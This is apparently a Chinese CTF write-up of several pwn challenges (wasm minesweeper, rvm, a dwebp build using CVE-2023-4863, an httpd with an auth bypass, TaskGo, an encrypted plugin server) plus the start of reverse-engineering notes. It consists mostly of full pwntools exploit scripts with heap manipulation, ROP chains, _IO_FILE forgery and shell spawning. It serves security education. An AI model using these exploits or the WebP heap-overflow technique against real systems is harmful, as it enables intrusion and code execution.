else if ( *(_DWORD *)(void *__ptr32)((char *)*(void *__ptr32 *)((char *)&jpt_1070C[5] + v3 + 1) + v3 + 4) )
{
wasm_0_::function_15_(a1, a1);
}
当选项不为前两者时如果分数不为0,就能进入这个隐藏函数
int selfboard()
{
puts("Change Board Style");
puts("Input 'y char' to change,'n' to skip");
signed char num=0;
signed char action,c;
int limit=16*(player->score);
char *ptr=map->visibleBoard;
getchar();
for(int i=0;i<16;++i)
for(int j=0;j<16;++j)
{
if(num>limit) return 0;
printf("board[%d][%d]:",i,j);
scanf("%c",&action);
if(action=='y'){
getchar();
scanf("%c",&c);
ptr[num++]=c;
}
else if(action=='n')num++;
else j--;
while (getchar() != '\n') continue;
}
return 0;
}
ida反编译的结果
if ( v6 == 'y' )
{
wasm_0_::function_35_(a1, a1);
*(_DWORD *)(v4 + v2) = v1 - 7;
wasm_0_::function_61_(a1, a1, (__int64)&jpt_10068[6] + 3, v1 - 64);
v7 = *(_BYTE *)(v4 + v2 + 57);
v8 = *(_DWORD *)(v4 + v2 + 48);
v9 = *(_BYTE *)(v4 + v2 + 59);//计数器
*(_BYTE *)(v4 + v2 + 59) = v9 + 1;
*(_BYTE *)(v4 + (unsigned int)(v9 + v8)) = v7;
}
else if ( v6 == 'n' )
{
++*(_BYTE *)(v4 + v2 + 59);
}
else
{
--*(_DWORD *)(v4 + v2 + 40);
}
可以观察到计数器v9是一个有符号数(当然好像没有那么容易看出来,因为ida还在最后调用的时候前面加了个unsignd int提示,但实际上在转化为unsigned之前v9就已经作为一个有符号数与v8相加了)
函数允许我们自定义显示的board,允许修改的数量是min(16*score,256)
虽然修改的时候是使用一个双重循环,打印的信息似乎也在告诉我们是使用二维数组进行修改,但实际修改的时候是通过一个计数器来实现的,每次完成修改计数器加一
这个计数器的长度是一个字节,显然是希望其表示0到255
,但实际上因为在声明的时候其是一个有符号数,所以实际上范围是-128到127
,这里就存在一个负数溢出了
但负数溢出有什么用呢?调试看看board前面是否存在可利用的东西
pwndbg> x /32gx 0x7f5cdb332200
0x7f5cdb332200: 0x5555aab800000000 0x0000100000001000
0x7f5cdb332210: 0xffffffffffffffff 0x0000000000000000
0x7f5cdb332220: 0x0000001300000000 0x0000000000011238
0x7f5cdb332230: 0x0000001b00000000 0x616c663d47414c46
0x7f5cdb332240: 0x007d747365747b67 0x0000001300000000
0x7f5cdb332250: 0x0000000100011468 0x0000020b00000000
0x7f5cdb332260: 0x2e2e2e2e2e2e2e2e 0x2e2e2e2e2e2e2e2e
0x7f5cdb332270: 0x2e2e2e2e2e2e312e 0x2e2e2e2e2e2e2e2e
0x7f5cdb332280: 0x2e2e2e2e2e2e2e2e 0x2e2e2e2e2e2e2e2e
0x7f5cdb332290: 0x2e2e2e2e2e2e2e2e 0x2e2e2e2e2e2e2e2e
0x7f5cdb3322a0: 0x2e2e2e2e2e2e2e2e 0x2e2e2e2e2e2e2e2e
0x7f5cdb3322b0: 0x2e2e2e2e2e2e2e2e 0x2e2e2e2e2e2e2e2e
0x7f5cdb3322c0: 0x2e2e2e2e2e2e2e2e 0x2e2e2e2e2e2e2e2e
0x7f5cdb3322d0: 0x2e2e2e2e2e2e2e2e 0x2e2e2e2e2e2e2e2e
0x7f5cdb3322e0: 0x2e2e2e2e2e2e2e2e 0x2e2e2e2e2e2e2e2e
0x7f5cdb3322f0: 0x2e2e2e2e2e2e2e2e 0x2e2e2e2e2e2e2e2e
观察到0x0000000100011468
,如果细心的话,应该会观察到高四个字节代表的数字等于玩家的score,而低四个字节则指向玩家的name
便能确定其表示的是游戏时的玩家信息
Your Name: namename
Your Score: 1
如果我们修改name指针,那显然可以泄露出其他信息,先看看环境变量flag被加载到哪里
pwndbg> search flag{test}
Searching for value: 'flag{test}'
[heap] 0x5563651464f0 0x7365747b67616c66 ('flag{tes')
[heap] 0x556365156ce0 'flag{test}'
[anon_7ff472f48] 0x7ff472f4823d 'flag{test}'
[anon_7ff472f48] 0x7ff472f48490 'flag{test}'
[stack] 0x7ffc1e8f106d 'flag{test}'
[stack] 0x7ffc1e8f1fe2 'flag{test}'
可以看到在运行时的堆栈中存有flag,直接控制name指向anon_7ff472f48
处的flag即可
当然如果你选择指向anon_7ff472f48
第二个flag处,那么需要注意,其偏移会受到flag长度的影响
此外要覆盖到name指针,那么至少要拿到16个分数,不过16*16的地图只放了24个雷,这应该并不难
exp:
懒得写扫雷游戏的脚本了,直接多跑几次总能成功的orz
#!/usr/bin/env python3
from pwn import*
import sys
import re
elf_path='./run.sh'
context.log_level='debug'
r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def dbg(script = 0):
if(script):
gdb.attach(p, script)
else:
gdb.attach(p)
pause()
local=1
def run():
if(local):
return process(elf_path)
return remote('114.116.233.171',9999)
p=run()
sla(b'Your Name:',b'namename')
sla(b'(U for uncover, M for mark):',b'3 3 U ')
sl(b'1 1 X')
for i in range(256):
if i==240:
sl(b'y \x38')
elif i==241:
sl(b'y \x12')
else:
sl(b'n')
irt()
rvm
将int类型转为string类型的过程存在越界,通过越界读取free之后留存的main_arena地址,可以得到libc地址。对于寄存器的存储过程同样存在越界,通过越界修改Puts函数为system,同时通过type_define函数设置type为0x6873即可执行system(“sh”)
from pwn import *
from ctypes import *
pc = './pwn'
libcn=''
local = 1
rmt='ip:port'
if local:
p = process(pc)
#p=gdb.debug('./pwn','b * $rebase(0x1511)')
#p = process(elfn,aslr=aslr,env={'LD_PRELOAD': libcn})
else:
ip, port = rmt.split(":")
port = int(port, 10)
p=remote(ip,port)
if pc:
elf=ELF(pc)
context(binary = pc, os = 'linux')
if libcn:
libc=ELF(libcn)
context.log_level = 'debug'
context.arch = 'amd64'
#context.terminal = ['gnome-terminal', '-x', 'zsh', '-c']
context.terminal=['tmux','neww']
text='''
b * $rebase(0x202c)\n
'''
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p,gdbscript=text)
uu32 = lambda data: u32(data.ljust(4, '\x00'))
uu64 = lambda data: u64(data.ljust(8, '\x00'))
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,eval(s)))
uu8b = lambda: u64(p.recv(6).ljust(8, '\x00'))
uun = lambda: u64(p.recvuntil("\n")[-1:].ljust(8, '\x00'))
uu7f = lambda: u64(p.recvuntil("\x7f")[-6:].ljust(8, "\x00"))
inssize=40
#code=p8(0x3)+p8(0xff)+p8(1)+p8(0)+p8(0x73)+p8(0x68)
code=p8(0x30)+p8(1)+p8(0x50)+p8(0x04)
code=code.ljust(0x454,'\x00')
code+=p8(0x3)+p8(3)+p8(3)+p8(0x33)+p8(1)
code+=p8(0x30)+p8(0x9)+p8(0x5)+p8(0x0)+p8(0)*5
code+=p8(0x3)+p8(0xcd)+p8(3)
code+=p8(0x33)+p8(3)
code+=p8(0x1)+p8(4)+p8(0xff)+p8(0xff)
code+=p8(1)+p8(5)+p8(0x8c)+p8(0xa3)
code+=(p8(0x22)+p8(3)+p8(3)+p8(4))*0x1c
code+=p8(0x22)+p8(3)+p8(3)+p8(5)
code+=p8(0x51)+p8(0x30)+p8(0x3)
code+=p8(0x4b)+p8(0)+p8(0x73)+p8(0x68)
code+=p8(0x49)
#-0x1ca370
codesize=len(code)
sl(str(inssize))
sl(str(codesize))
p.send(code)
p.interactive()
dwebp
出题思路
题目利用CVE-2023-4863的堆溢出POC,编译魔改后的含该CVE的dwebp,在互联网上可以找到现成的造成堆溢出的POC,但是弄明白整个哈夫曼树的控制方式不太容易。因此本题使用POC:nso.webp
的堆溢出结构,结合控制数据,造成堆溢出。
参考链接:
解题思路
程序提供图片格式转换与增删改查四个功能,后续四大功能不存在漏洞,图片格式转换存在CVE-2023-4863:
利用POCnso.webp
可以构造出如下堆溢出:
通过堆风水可以把feedback_list[i]->size修改为0x00260007,从而得到堆溢出。之后利用堆溢出泄露地址,打栈上rop即可,具体见exp。
#!/usr/bin/python3
from pwn import *
import base64
filename = "./dwebp"
libcname = "/lib/x86_64-linux-gnu/libc.so.6"
host = 'localhost' # ./exp.py REMOTE即可
port = 9999
elf = context.binary = ELF(filename)
context.terminal = ['tmux', 'neww']
if libcname:
libc = ELF(libcname)
gs = '''
b main
'''
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript = gs)
elif args.REMOTE:
return remote(host, port)
else:
return process(elf.path)
p = start()
def send_img(img_name):
p.sendlineafter(b'> ', b'1')
with open(img_name, "rb") as f:
payload = f.read()
p.sendafter(b'Your webp format image in base64:', base64.b64encode(payload))
def add(idx, size, content):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'> ', f'{idx}'.encode())
p.sendlineafter(b'How many words do you want to feedback?', f'{size}'.encode())
p.sendlineafter(b'Please input your feedback:', content)
def show(idx):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'> ', f'{idx}'.encode())
def delete(idx):
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'> ', f'{idx}'.encode())
def edit(idx, content):
p.sendlineafter(b'> ', b'5')
p.sendlineafter(b'> ', f'{idx}'.encode())
p.sendlineafter(b'Please input your feedback:', content)
def quit():
p.sendlineafter(b'> ', b'6')
add(1, 0x1d8, b'a')
delete(1)
add(1, 0x15f, b'a')
delete(1)
add(1, 0x1010+0x2f28+0x240-0xb48, b'a')
add(2, 0x10, b'a')
delete(1)
# add(1, 0xf000, b"hello")
# add(2, 0x20, b"hello")
# delete(1)
send_img('./nso.webp')
show(2)
p.recvuntil(p64(0x241))
heap_addr = int.from_bytes(p.recv(5), 'little') << 12
info(f"heap_addr -> {hex(heap_addr)}")
add(1, 0x34b0, b'123')
add(1, 0x10, b'deadbeef')
edit(2, b'\x01'*0x258 + p64(0x21) + p64(heap_addr - 0x2b70))
show(1)
libc.address = int.from_bytes(p.recvuntil(b'\x7f')[-6:], 'little') - 0x2170c0
info(f"libc_addr -> {hex(libc.address)}")
edit(2, b'\x01'*0x258 + p64(0x21) + p64(libc.sym.environ) + p64(8))
show(1)
stack_addr = int.from_bytes(p.recvuntil(b'\x7f')[-6:], 'little')
info(f'stack_addr -> {hex(stack_addr)}')
edit(2, b'\x01'*0x258 + p64(0x21) + p64(stack_addr - 0x120) + p64(0x400))
ret = libc.address + 0x001bc065
rop = ROP(libc)
rop.system(next(libc.search(b'/bin/sh\x00')))
edit(1, p64(ret) + rop.chain())
quit()
p.interactive()
httpd
漏洞点
鉴权部分使用strst
r来判断是否有认证前的接口,只要url中出现认证前接口即可绕过认证。
使用/form/admina/formUploadFile
可绕过鉴权访问认证后的路由。
formUploadFile
中,用来获取结构体(结构体A)的索引i
会越界1(这个结构体数组最多是10个),造成越界写堆地址。
利用
越界写堆地址会把下一个结构体(结构体B)链表指针写成堆地址,从而控制下一个结构体B。
releaseFileContent
中, 会使用fclose
关闭结构体B中的文件。
所以利用是打_IO_FILE + ROP。
程序是32bit,libc地址可爆破。把要伪造的结构体申请到libc上方,这样只要爆破一个地址。
exp
# -*- coding: utf-8 -*-
from pwn import *
import base64
context.terminal = ['tmux','splitw','-h']
context.arch="amd64"
context.log_level="debug"
def debug(addr=-1,PIE=True):
if addr == -1:
gdb.attach(p)
else:
if PIE:
#text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).setvbuflines()[1], 16)
#gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
gdb.attach(p,"b *$rebase({})".format(hex(addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def cmd(ch):
p.sendlineafter(">> ",str(ch))
def log(strr0,addr):
info("\033[0;31m{} --> {}\033[0m".format(strr0,hex(addr)))
def send_req(path, hdr, data):
#_payload = ""
#for path, hdr, data in reqs:
payload = b"POST /form/admina/%s HTTP/1.1\r\n"%path
for i in hdr:
payload += i+b"\r\n"
payload += b"\r\n"
payload += data
p.send(payload)
#_payload += payload
def main(host,port=5566):
global p
if host:
p = remote(host,port)
else:
p = process("./httpd")
# p = process("./fuzz", env={"LD_PRELOAD":"./libc-2.27.so"})
# debug(0x000000000000000)
# debug()
# input()
libc_base = 0xf7d86000 #+ idx*0x1000
# payload = [
# ["formLogin",[],""],
# ["formLogout",[],""]
# ]
# padding _IO_FILE ptr
#_IO_FILE
_IO_FILE_addr = libc_base - 0x30fc0
post_file_next = libc_base - 0xc0
post_file = p32(post_file_next) + b'a'*4*4 + p32(_IO_FILE_addr)
_wide_data_addr = _IO_FILE_addr + 0x98
# _IO_FILE
# _flags
_IO_FILE = p32(0x8000)
# _IO_wfile_overflow
vtable_address = libc_base + 0x002286AC - 8
# _wide_data
_IO_FILE = _IO_FILE.ljust(0x58, b"\x00") + p32(_wide_data_addr)
# vtable
_IO_FILE = _IO_FILE.ljust(0x94, b"\x00") + p32(vtable_address)
wdoallocbuf_vtable_addr = _wide_data_addr + 0x88+4
# _wide_data
_wide_data = b"\x00"*0x88 + p32(wdoallocbuf_vtable_addr)
xchg_esp_eax = libc_base + 0x0009B10A
add_esp_0x3c = libc_base + 0x001194B4
pop_edx_add_esp_0x10_pop_ebx_esi_edi = libc_base + 0x0016f87d
pop_ecx_add_esp_0x18_pop_ebx = libc_base + 0x00165c6f
pop_eax_add_esp_0x14_pop_ebx_esi = libc_base + 0x001159d0
int_0x80_pop_esi_ebx = libc_base + 0x00123632
'''
int fd = open("./flag", 0);
read(fd, buf, 0x40);
write(1, buf, 0x40);
'''
flag_str_addr = wdoallocbuf_vtable_addr + 4
gadgets = p32(pop_eax_add_esp_0x14_pop_ebx_esi) + p32(0x5) + b'a'*(0x14+8)
gadgets += p32(pop_ecx_add_esp_0x18_pop_ebx) + p32(0) + b'a'*0x18 + p32(flag_str_addr)
gadgets += p32(int_0x80_pop_esi_ebx) + b'a'*8
gadgets += p32(pop_eax_add_esp_0x14_pop_ebx_esi) + p32(0x3) + b'a'*(0x14+8)
gadgets += p32(pop_ecx_add_esp_0x18_pop_ebx) + p32(_IO_FILE_addr-0x1000) + b'a'*0x18 + p32(3)
gadgets += p32(pop_edx_add_esp_0x10_pop_ebx_esi_edi) + p32(0x40) + b'a'*0x10 + p32(3) + b'a'*8
gadgets += p32(int_0x80_pop_esi_ebx) + b'a'*8
gadgets += p32(pop_eax_add_esp_0x14_pop_ebx_esi) + p32(0x4) + b'a'*(0x14+8)
gadgets += p32(pop_ecx_add_esp_0x18_pop_ebx) + p32(_IO_FILE_addr-0x1000) + b'a'*0x18 + p32(1)
gadgets += p32(pop_edx_add_esp_0x10_pop_ebx_esi_edi) + p32(0x40) + b'a'*0x10 + p32(1) + b'a'*8
gadgets += p32(int_0x80_pop_esi_ebx) + b'a'*8
wdoallocbuf_vtable = p32(add_esp_0x3c) + b"./flag".ljust(0x30, b"\x00") + p32(xchg_esp_eax)
wdoallocbuf_vtable = wdoallocbuf_vtable.ljust(0x40) + gadgets
data = b'''--AaBbCcDd\r
Content-Disposition: form-data; name="files"; filename="../file1.txt"\r
Content-Type: text/plain\r
Content-Transfer-Encoding: 7bit\r
\r
aaaabbbbcccc\r
--AaBbCcDd\r
Content-Disposition: form-data; name="files"; filename="../file2.txt"\r
Content-Type: text/plain\r
Content-Transfer-Encoding: 7bit\r
\r
ddddeeeeffff\r
--AaBbCcDd\r
Content-Disposition: form-data; name="files"; filename="file3.txt"\r
Content-Type: text/plain\r
Content-Transfer-Encoding: 7bit\r
\r
ddddeeeeffff\r
--AaBbCcDd\r
Content-Disposition: form-data; name="files"; filename="file4.txt"\r
Content-Type: text/plain\r
Content-Transfer-Encoding: 7bit\r
\r
ddddeeeeffff\r
--AaBbCcDd\r
Content-Disposition: form-data; name="files"; filename="file5.txt"\r
Content-Type: text/plain\r
Content-Transfer-Encoding: 7bit\r
\r
ddddeeeeffff\r
--AaBbCcDd\r
Content-Disposition: form-data; name="files"; filename="file6.txt"\r
Content-Type: text/plain\r
Content-Transfer-Encoding: 7bit\r
\r
ddddeeeeffff\r
--AaBbCcDd\r
Content-Disposition: form-data; name="files"; filename="file7.txt"\r
Content-Type: text/plain\r
Content-Transfer-Encoding: 7bit\r
\r
ddddeeeeffff\r
--AaBbCcDd\r
Content-Disposition: form-data; name="files"; filename="file8.txt"\r
Content-Type: text/plain\r
Content-Transfer-Encoding: 7bit\r
\r
ddddeeeeffff\r
--AaBbCcDd\r
Content-Disposition: form-data; name="files"; filename="file9.txt"\r
Content-Type: text/plain\r
Content-Transfer-Encoding: 7bit\r
\r
ddddeeeeffff\r
--AaBbCcDd\r
Content-Disposition: form-data; name="files"; filename="file10.txt"\r
Content-Type: text/plain\r
Content-Transfer-Encoding: BASE64\r
\r
%s\r
--AaBbCcDd\r
Content-Disposition: form-data; name="%s"; filename="file11.txt"\r
Content-Type: text/plain\r
Content-Transfer-Encoding: 7bit\r
\r
overflowoverflow\r
--AaBbCcDd'''%(base64.b64encode(b"k"*(128*1024+0x3030)+_IO_FILE + _wide_data + wdoallocbuf_vtable), post_file)
send_req(b"/formLogin/form/admin/formUploadFile",[b"Content-Type: multipart/form-data; boundary=\"--AaBbCcDd\"", b"Content-Length: %d"%(len(data))],data)
# p.recv()
# p.interactive()
#send_req("formLogout",[],"")
#log("data_len", len(data))
try:
if p.recvuntil(b"RCTF"):
input()
return 1
except:
p.close()
if __name__ == "__main__":
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#main(args["REMOTE"])
#for i in range(4096):
while True:
if(main(args["REMOTE"]) == 1):
break
出题思路
该题是根据真实漏洞改编的。
栈溢出和堆溢出无法利用。栈溢出是因为有canary,堆溢出是无法泄露地址(应该没有人能在没有leak的情况下完成堆风水吧)。
设计成无法泄露地址是因为真实环境中的web服务器是httpd+cgi的架构,httpd收到一个请求时会fork一个子进程去运行对应的cgi。先不谈泄露地址的难度,即使真的泄露地址也是没有意义的,因为httpd收到下一个请求时会重新fork子进程运行cgi,那么之前泄露的地址是上一个进程的,对于当前进程没有意义。也就是说必须一个http请求就完成利用。
TaskGo
1.题目的线程机制使用了chrome的多线程 ,通过题目字符串未去符号的函数可以大致搜索到一些信息。然后根据这些信息去读chrome提供的多线程task and thread 的docs,学习到一些基础知识
2.大致是多线程是以task形式体现的,初步测试功能,发现题目主打一个金币多,随心所欲,因为金币不够很多功能都没解锁,所以拿到题目首先得让金币变多,然后逆向此题目,发现这个在ctfmain函数中注册了两种thread,一种io,一种ui通过残留的符号表看出,通过对题目的功能行为分析,大致知道题目实现了RA和MA两个功能,RA主要是在IO线程运行,MA主要是在UI线程。
3.RA关键功能是boat,boat会先验证用户金币如果不满足条件则返回,如果金币足就模拟一个线上支付,然后延迟扣款功能,因为这一逻辑几乎都是在IO线程上运行,
4.MA功能主要是store 和learning功能 主要是购买、丢弃,学习功能,而这一套流程都是在UI,所以这里的购买可以和RA的购买功能进行竞争,因为RA那边的支付有一定延迟性,这样中间就会有一个时间差,过掉money的check过程,导致MA在过完检测还没支付的这个时间差,RA已经支付完了,然后MA在减一次金币,就会导致RA金币下溢,这样金币就变多了,以解锁更多的功能。
5.然后在逆向的过程中有一个god功能,看完功能发现这个功能需要在用户的talent_为7的情况下而已必须最后持有卷轴的情况下才能满足条件。这个功能由于防止阻塞,将耗时间的BeGod函数发送到IO但是他本这个类是运行在UI,所以这里有可能会出现问题。
6.经发现果不其然,这里的函数发送过去会把用户的MagicHeld_以原始指针的形式作为函数的参数发送,那么此时我们可以用drop功能来使用创建的unique_ptr的智能指针置为null,那么他就会当场销毁,然后由于他运行到UI,那么此时IO运行BeGod功能就会触发UAF。
7.可以看到作者为了考虑复杂程度,很贴心的提供了一个backdoor功能,这将大大降低难度,这提供了任意文件读写功能,运行God功能会把这个地址给我们打印出来。
8.所以我们只需要把MagicHeld_ free后利用RA的穷鬼木船被迫五星好评功能进行占位,就可以把MagicHeld_ 的指针函数callback给覆盖为任意文件读写功能,由于这name是我们自己输入的因此可以进行任意文件读写。从而读取flag。
from pwn import *
# context.log_level = 2
#io = process("/home/lime/workdir/src/out/asan/ctf")
io = remote("0.0.0.0",9999)
sla = lambda a,b : io.sendlineafter(a,b)
sl = lambda a : io.sendline(a)
def init(name):
sla("me your name: \n",name)
def choice(c):
sla(">> ",str(c))
def RA(c):
choice(1)
choice(str(c))
def MC():
choice(2)
def Sell():
MC()
choice(2)
def Learning():
MC()
choice(3)
def Buy(c):
MC()
choice(1)
choice(c)
def BeGod():
MC()
choice(1337)
def IntOverflow():
RA(3)
Buy(1)
Learning()
sleep(4)
ShowMoney()
io.recvuntil("money you have is : ")
money = int(io.recvline(),10)
print(hex(money))
Sell()
if(money > 0):
return 1
def ShowMoney():
choice(3)
def FiveStar(c):
sla("Input the Comments: ",c)
def main():
init("/flag")
if(not IntOverflow()):
print("[-] Overflow Failed!")
exit(-1)
Buy(2)
sleep(1)
Learning()
Sell()
Buy(3)
sleep(1)
Learning()
BeGod()
sleep(3)
ShowMoney()
io.recvuntil("Here is the gift: ")
system = int(io.recvline(),16)
print("heapThis: ==>0x"+hex(system))
sl(str(3))
BeGod()
Sell()
RA(1)
sleep(1.1)
# gdb.attach(io,"b system")
# pause()
ShowMoney()
io.sendafter("Input the Comments: ",b"A"*0x28+p64(system))
io.interactive()
main()
神经系统_pwn
第一步: 首先分析“神秘系统_re”的packet,得到交互格式和加密key,其中key是变长的,每次不一样,知道算法后,很容易动态拿到key值。
第二步: 逆向分析“神秘系统_re”插件 handler_impl.bin 文件,在 mix函数中,存在一字节堆溢出,根据解密出来的so,可以知道堆分配机制,通过改下tcache的next指针实现利用,具体见exp
from pwn import *
#context.log_level = "debug"
def get_io(target):
if type(target) == str:
return process(target, shell = True)
return remote(*target)
CRYPT_KEY = b''
AUTH_CODE = b'admin'
def xor_data(data, key):
global CRYPT_KEY
result = []
for i in range(len(data)):
result.append(data[i] ^ key[i%len(key)])
return bytes(result)
def read_packet(io):
global CRYPT_KEY
data = io.read(3)
data = data + b"\x00"
size = u32(data)
print("pkz[%d]"%size)
data = b''
while len(data) < size:
data += io.read(size - len(data))
if len(CRYPT_KEY) != 0:
data = xor_data(data, CRYPT_KEY)
return data
def write_packet(io, data):
if type(data) == str:
data = data.encode()
global CRYPT_KEY
header = p32(len(data))[:3]
if len(CRYPT_KEY) != 0:
data = xor_data(data, CRYPT_KEY)
io.write(header + data)
def version_check(io):
global CRYPT_KEY
challenge = read_packet(io)
plain_text = b'server hello version 1.0.0.1, challenge: ['
key = xor_data(plain_text, challenge)
pos = key.find(key[:0x8], 0x8)
print("challenge:", challenge)
print("key_1:", key)
print("key_h:", key[:0x8])
print("pos:", hex(pos))
key = key[:pos]
print("key[%d]:"%len(key), key)
input("chekc")
CRYPT_KEY = key
res = xor_data(challenge, CRYPT_KEY)
print("res:", res)
challenge = res.split(b"[")[1].split(b"]")[0]
result = eval(challenge)
print("result:", result)
write_packet(io, b"server hello, response: %d"%result)
def interact(io):
print(read_packet(io)[:0x100])
io.interactive()
def s_i(io, data):
if type(data) == int:
data = str(data)
print(read_packet(io)[:0x100])
print(data[:0x100])
write_packet(io, data)
def auth_check(io):
s_i(io, AUTH_CODE)
print(read_packet(io))
def update_handler(io):
s_i(io, 1)
auth_check(io)
write_packet(io, b"./handler_impl.bin")
with open("handler_impl.so", "rb") as fd:
write_packet(io, fd.read())
print(read_packet(io))
def handler_open(io, idx, size):
s_i(io, 2)
s_i(io, idx)
s_i(io, size)
def handler_current(io, idx):
s_i(io, 7)
s_i(io, idx)
def filesize(io, filename):
s_i(io, 12)
auth_check(io)
write_packet(io, filename)
res = read_packet(io)
print("res:", res)
return int(res)
def read_data_from_file(io, filename):
s_i(io, 9)
auth_check(io)
write_packet(io, filename)
def read_data(io, data):
s_i(io, 8)
s_i(io, len(data))
write_packet(io, data)
def handler_mix(io, idx):
s_i(io, 5)
s_i(io, idx)
def handler_checksum(io):
s_i(io, 6)
return read_packet(io)
def handler_enc(io):
s_i(io, 4)
def write_data(io, size):
s_i(io, 10)
s_i(io, size)
return read_packet(io)
def handler_close(io, idx):
s_i(io, 3)
s_i(io, idx)
def readfile(fn, md = "rb"):
with open(fn, md) as fd:
return fd.read()
def writefile(fn, data, md = "wb"):
with open(fn, md) as fd:
return fd.write(data)
def calc_checksum(data):
res = 0
for v in data:
res += (v & 0xff)
return res
def handler_exit(io):
s_i(io, 13)
def gen_re_data(io):
libc_bin_path = "./libc.bin"
libc_so_path = "./libc.so"
flag_path = "./flag_re.txt"
content = readfile(libc_bin_path)
flag = readfile(flag_path)
print(len(content))
print(len(flag))
content += flag
print(len(content))
#input("::")
writefile(libc_so_path, content)
secret_path = "./secret.txt"
size0 = filesize(io, libc_so_path)
print(size0)
#input("::")
size1 = filesize(io, secret_path)
handler_open(io, 0, size0)
handler_open(io, 1, size1)
handler_current(io, 1)
read_data_from_file(io, secret_path)
res = handler_checksum(io)
print("res:", res)
#input(":")
handler_current(io, 0)
read_data_from_file(io, libc_so_path)
res = handler_checksum(io)
print("res:", res)
#input(":")
handler_enc(io)
handler_mix(io, 1)
data = write_data(io, size0)
res = handler_checksum(io)
"""
res1: b'205674267'
1612600
res2: 205627024
"""
print("res1:", res)
print(len(data))
res = calc_checksum(data)
print("res2:", res)
#input("::")
#size0 = 0x20
#"""
with open("res_mix.bin", "wb") as fd:
fd.write(data)
#"""
handler_exit(io)
#handler_open(io, 2, 0x100)
#handler_current(io, 2)
#read_data(io, )
def dec_data(content, secret = [0]):
result = []
for i in range(len(content)):
v = content[i]
v = ((v ^ 92) - i)&0xff
v ^= secret[i%len(secret)]
result.append(v&0xff)
if i == 0x68:
v = content[i]
print("v1:", hex(v))
v = ((v ^ 92) - i)&0xff
print("v2:", hex(v))
v ^= secret[i%len(secret)]
print("v3:", hex(v))
#input(":")
return bytes(result)
def pwn(io):
context.log_level = "debug"
for i in range(7):
handler_open(io, i, 0x68)
handler_open(io, 7, 0x450)
handler_open(io, 8, 0x68)
handler_close(io, 7)
handler_open(io, 7, 0x450)
handler_current(io, 7)
data = write_data(io, 8)
print("data:", data)
libc_addr = u64(data)
print("libc_addr:", hex(libc_addr))
#18.04
libc_base = libc_addr - 0x3ebca0
#__free_hook(0x3ed8e8)
__free_hook = 0x3ed8e8 + libc_base
system = 0x4f420 + libc_base
#20.04
libc_base = libc_addr - 0x1ecbe0
#__free_hook(0x1eee48)
__free_hook = 0x1eee48 + libc_base
system = 0x52290 + libc_base
#input("libc:")
handler_current(io, 0)
secret = b""
secret += p8(((((0x70*2+1)^92) - 0x68)&0xff)^0x71).ljust(0x10, b'\x00')
secret = secret.ljust(0x68, b'\x00')
read_data(io, secret)
handler_current(io, 4)
payload = b""
payload += p64(0x1eadcafedeadbeef)*2
payload = payload.ljust(0x60, b'\x00')
payload += p64(0x0) + p8(0x71)
payload = dec_data(payload, secret)
print(hex(payload[0x68]))
#input("check:")
read_data(io, payload[:0x68])
handler_mix(io, 0)
#input("gdb:")
handler_close(io, 5)
#input("gdb:")
for i in range(0, 2, 1):
handler_close(io, i)
handler_close(io, 6)
handler_close(io, 2)
handler_close(io, 3)
#input("gdb:")
handler_open(io, 5, 0xe0-0x8)
handler_current(io, 5)
payload = b''
payload += b'\x00'.ljust(0x60, b'\x00')
payload += p64(0) + p64(0x71)
payload += p64(__free_hook - 8)
read_data(io, payload)
#input("gdb:")
for i in range(3):
handler_open(io, i, 0x68)
handler_open(io, 6, 0x68)
handler_current(io, 6)
payload = b''
payload += b"/bin/sh\x00"
payload += p64(system)
read_data(io, payload)
handler_close(io, 6)
#data = write_data(io, 0x68)
#print(data)
#interact(io)
io.sendline("cat flag")
io.interactive()
target = "./mainServer debug"
target = ("127.0.0.1", 14555)
def deal_re_logic(target):
io = get_io(target)
version_check(io)
#menu
print(read_packet(io))
update_handler(io)
gen_re_data(io)
def deal_pwn_logic(target):
io = get_io(target)
version_check(io)
#menu
print(read_packet(io))
pwn(io)
import sys
def main():
global target
#deal_re_logic(target)
if len(sys.argv) > 1:
target = (sys.argv[1], int(sys.argv[2]))
deal_pwn_logic(target)
if __name__ == "__main__":
main()
Reverse
2048
这是一个2048游戏,分数达到100 0000即可获得flag。
游戏的菜单有两个,一个是start game,一个是load game。
开始游玩的时候,会叫你输入本场想赢的分数,如果本场游戏失败那就扣除该分数,当分数小于0并且也没有保存的board的时候程序将直接退出。 除了正常的上下左右移动外还有保存功能,保存功能会将当前board的状态和想赢的分数直接复制保存,保存时会给当前board关联一个id,保存成功会输出保存游戏到哪里的index。
当load游戏的时候,就靠该index来获取刚刚保存的board。在load game的功能中,赢了将获得想赢的分数的两倍。但是无论是赢了还是输了,都会进行清空操,然而清空操作是依据board关联的id,该id的取值是rand() % 0xf,所以当前面垫了足够多的board,是可以一直刷特定的board来获取分数。
所以思路就是先垫足够多的1分board,然后再来一把10000分数的游戏,将其进行到差最后一步快赢的时候就保存,然后一直load该board,一次20000,很快就能赢得100 0000。
AkiraHomework
racket是一个lisp的方言,为了做这个题目的逆向,首先要简单了解一下这个语言。
官方提供了racket逆向的一些文档,在这里。同时结合官方提供的逆向工具zordoz,就能够对当前的文件进行大部分的逆向工作,类似代码如下:
(def-values
'(#s((toplevel expr 0 form 0 zo 0) 0 9 #f #t))
(lam
